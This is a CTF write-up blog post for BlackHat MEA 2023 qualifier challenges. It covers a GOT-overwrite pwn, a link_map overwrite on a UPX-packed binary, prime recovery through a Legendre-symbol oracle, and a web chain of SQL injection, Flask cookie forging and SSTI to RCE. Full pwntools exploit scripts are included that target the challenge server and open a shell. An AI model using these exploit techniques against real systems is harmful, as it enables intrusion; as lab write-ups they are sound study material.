Last weekend, I participated in the qualification round of BlackHat MEA CTF 2023 with my team, DeadSec. Fortunately, we successfully completed all the challenges and ranked 7th. With this performance, we have qualified for the finals, scheduled for 14-16 November 2023 in Riyadh, Saudi Arabia. Below are some write-ups of the challenges from the CTF.
Pwn
Profile
Description
Give us your profile and we will issue you an ID card.
Initial Analysis
In this challenge, we were provided with the source code of the binary called main.c to analyze. Here’s the source code:
There’s a type confusion bug wherein, during the assignment of the value to employee.age, the program attempts to scan a long value (8 bytes) instead of an int value (4 bytes). Because of this discrepancy, we experience a 4-byte overflow. Based on the person_t struct, this overflow will overwrite the char pointer of name.
Exploiting this bug allows us to trigger the overflow and alter the stored pointer of name. This, in turn, permits arbitrary writes to any address we choose when filling the name via get_string.
Additionally, running a checksec on the binary reveals that the compiled binary uses Partial RELRO and No PIE.
1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Solution
Given the information above, we can see that the combination of Partial RELRO, No PIE, and the binary’s bug easily allows us to overwrite the GOT address of the desired binary.
First, we aim for multiple writes. Thus, the initial step is overwriting the GOT address of free to point to main. This action ensures that when the program calls free, it instead invokes the main function again, granting us the capability for repeated arbitrary writes.
Next, we seek to leak the libc address. This can be achieved by overwriting the GOT of strcspn to printf. Observed that within the get_string function, there’s a line of code (*pbuf)[strcspn(*pbuf, "\n")] = '\0';. By overwriting strcspn to printf, and considering pbuf is a pointer to a string under our control, we introduce a new vulnerability: the format string bug. Utilizing this bug, we can leak the libc address. Upon inspection with gdb, the format string %31$p returns the address of __libc_start_call_main+0x80.
Lastly, once the libc address is successfully leaked, we can simply overwrite the GOT of free to the relevant one_gadget. Observing the register values when calling free, and examining the available one_gadget within the provided libc in the supplied docker, we find that gadget:
Examining the source code, we observe a win function, which can be later utilized to spawn a shell. However, there’s a vulnerability allowing us to initiate an OOB (out-of-bound) write.
Noticed that off_t is actually a signed type. That means that invoking do_seek with a negative value will make g_cur becomes negative. This scenario allows us to perform an out-of-bound write (via do_write) to any address located before g_buf in the bss section. This is because the result of the g_cur + size verification will always be less than MEM_MAX.
Running a checksec on the compiled binary yielded unexpected results.
1
2
3
4
5
6
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Packer: Packed with UPX
The binary is packed with UPX. This detail becomes crucial later as we develop an approach to tackle this challenge.
Solution
Armed with the information mentioned above, we delve into gdb to understand what sets UPX apart. Inspecting the memory mappings, we discern that the binary’s address is positioned below the ld (with a consistent offset difference).
From this observation, we infer that the intended solution might involve overwriting data in the linker region. Reading through this writeup provides insights into the linker’s operation. In essence, there exists a link map that retains a pointer to the mapped address of our binary, and this pointer is leveraged during symbol resolution.
Experimenting by setting g_cur to -0x7000-0x60+0x12e0 (causing do_write to overwrite the link_map value) and attempting to overwrite it with 0x6161616161616161, we spot a crash in GDB upon the binary’s exit.
Observably, the link_map value increases by 0x3d88, then the value stored at that address gets invoked. This implies that if we can overwrite the link_map to a beneficial address containing our desired value, we gain the ability to invoke any function of our choice.
In this scenario, as our aim is to invoke win, we need to locate an address storing the value of our binary address. Through further examination in gdb, we observed that the address bss+0x8 maintains a pointer to itself.
Given this knowledge, we can modify the last two bytes to alter the stored pointer to the win address. Subsequently, we overwrite the last two bytes of the link_map so that, post the addition of 0x3d88, it directs to bss+0x8, and the call QWORD PTR [rax] essentially invokes the win function, granting us a shell.
It’s worth noting that altering the final two bytes implies that we might need to engage in some bruteforcing, as only the first three nibbles are static.
In summary:
Modify the last two bytes of bss+0x8 to point to the win() address.
Adjust the final two bytes of link_map so that the result of link_map+0x3d88 targets bss+0x8.
frompwnimport*context.arch='amd64'context.encoding='latin'context.log_level='INFO'warnings.simplefilter("ignore")whileTrue:# r = process('./memstream', env={'LD_PRELOAD': './libc.so.6'})r=remote('54.78.163.105',32616)defdo_seek(pos):r.sendlineafter(b'> ',b'1')r.sendlineafter(b'Position: ',str(pos).encode())defdo_write(sz,val):r.sendlineafter(b'> ',b'3')r.sendlineafter(b'Size: ',str(sz).encode())r.sendafter(b'Data: ',val)# Overwrite and change it to win()do_seek(-0x58)do_write(2,p16(0x3229))# Overwrite link_map so that link_map+0x3d88 points to bss+0x8ld_offset=-0x7000-0x60link_map=ld_offset+0x12e0do_seek(link_map)do_write(2,p16(0x2280))r.sendlineafter(b'> ',b'4')r.interactive()
Crypto
Octopodal
Description
With eight legs I can run so much faster, just look at me goooo ~ !
Initial Analysis
In this challenge, we were provided with the source code of the server called server.py to analyze. Here’s the source code:
Looking through the source code reveals that the server performs the following actions:
Generates 8 primes (24-bit) and employs them as the modulus.
Divides the flag into multiple pieces.
Encrypts it by evaluating pow(2, flag_piece, modulus).
Outputs the encrypted pieces.
Accepts any input termed x, and the server returns the sum of the outcome of legendre_symbol(x, p), where p represents each prime factor of the modulus.
Solution
legendre_symbols can only produce three possible outcomes:
1 if x is a quadratic residue and a ≢ 0 mod p.
-1 if x is a quadratic non-residue mod p.
0 if x ≡ 0 mod p.
Considering that 8 primes are in play, if we input a number where exactly one of its factor matches one of the primes, the resultant sum will be odd. This observation allows us to employ binary search to discern the factors.
Notably, the deployed prime spans 24 bits. We can easily generate all primes within these 24 bits. Approximately ~500k primes fit the 24-bit criteria. We can divide these primes into multiple blocks, each containing 500 primes. Then, we can multiply every prime within a block. Sending this value to the server, if the returned sum is odd, it implies that a prime within the current block is a prime factor of the modulus.
To speed-up the process, we can apply binary search within the current chunk. For every iteration, we input the multiplication outcome of half the chunk to the server. If the result is even, we discard the initial half; otherwise, we dispose the latter half. This cycle continues until we identify a single number yielding an odd result, which is the prime factor of the modulus.
Iterating this procedure enables us to reconstruct all the primes and compute the modulus leveraged during the encryption. Then, we can easily use discrete_log(ct, Mod(2, n)) in sagemath to retrieve the flag segment.
frompwnimport*importmath# # Generate primes# primes_24 = []# curr_prime = 2**23# while curr_prime < 2**24:# curr_prime = next_prime(curr_prime)# primes_24.append(curr_prime)# info(f'{2**24 - curr_prime}')# print(primes_24)# exit()primes_24=eval(open('primes_24','r').read())# Setup connectionurl=b'54.78.163.105'port=int(30562)ifnotargs.LOCAL:r=remote(url,port)else:r=process(['python3','server.py'])target=sorted(eval(r.recvline().strip()))# Fetch ctscts=[]foriinrange(6):r.recvuntil(f'{i}: '.encode())cts.append(int(r.recvline().strip(),16))info(f'{cts= }')# Helper to get legendre sumdefget_legendre_sum(val):r.recvuntil(b'int) ')r.sendline(str(val).encode())r.recvuntil(b'L = ')out=int(r.recvline().strip())returnout# Helper to binary search the prime factordefsearch_prime(arr):low=0high=len(arr)-1mid=0whilelow<high:mid=(high+low)//2new_val=math.prod(arr[:mid+1])res=get_legendre_sum(new_val)ifres%2==0:low=mid+1else:high=midassertlow==highreturnlowrecovered_primes=[]start_i=0gap=500whilelen(recovered_primes)<8:foriinrange(start_i,len(primes_24),gap):val=(math.prod(primes_24[i:i+gap]))# Multiply numbers from primes_24[i..i+gap]out=get_legendre_sum(val)is_odd=out%2==1ifis_odd:# odd == we find a good arrayinfo(f'{val= }')info(f'{i= }, {i//gap= }')info(f'{out= }, odd = {is_odd}')start_i=ibreakarr=primes_24[start_i:start_i+gap]# There is one prime factor in this array# Do binary searchprint(f'Start binary search...')idx=search_prime(arr)info(f'prime factor: {arr[idx]}')recovered_primes.append(arr[idx])print(f'{recovered_primes= }')start_i+=gapprint(f'{recovered_primes= }')ifargs.LOCAL:print(f'{target= }')print(f'{cts= }')exit()'''
# Sagemath script to decrypt the flag
from Crypto.Util.number import *
def recover_flag(recovered_primes, cts):
n = prod(recovered_primes)
flag = b""
for ct in cts:
flag += long_to_bytes(int(discrete_log(ct, Mod(2, n))))
return flag
recovered_primes = []
cts = []
print(recover_flag(recovered_primes, cts))
'''
Web
Hardy
Description
We’ve managed to retrieve the credentials for this amazing hacking interface, user:password, can you help us get the flag? We’re definitely not tricking you to steal your IP!
Solution
In this blackbox challenge, we were presented with a website featuring a login page. They also provides us with a working credential: user:password. While testing the website, we identified that the parameter was susceptible to SQL injection. For instance, entering the parameters (SELECT "username")=user&(SELECT "password")=password on the login form resulted in a successful login.
Exploiting this SQL injection vulnerability, we discovered another account from user. Trying to leak it, we found the credentials of this new account: admin:ILIKEpotatoesSOMUCH::&&.
Further exploration led us to the revelation that the admin password also used as the flask secret key. This significant find meant that we had the ability to construct a valid Flask session cookie.
An interesting observation was made upon decoding this cookie: the decoded value was {"type": "user"}. Intriguingly, this type attribute was prominently displayed on the /panel page for both admin and user accounts (Notes that the admin account cokie type is also user).
Our suspicion led us to believe that a Server-Side Template Injection (SSTI) vulnerability might be lurking here. To confirm our hypothesis, we created a cookie where the type value is set to {{7*'7'}}. As expected, we can trigger the SSTI.
The path ahead was clear: craft a cookie with the type attribute set to a valid SSTI payload. Exploiting RCE via SSTI, we could read the flag stored in the / directory.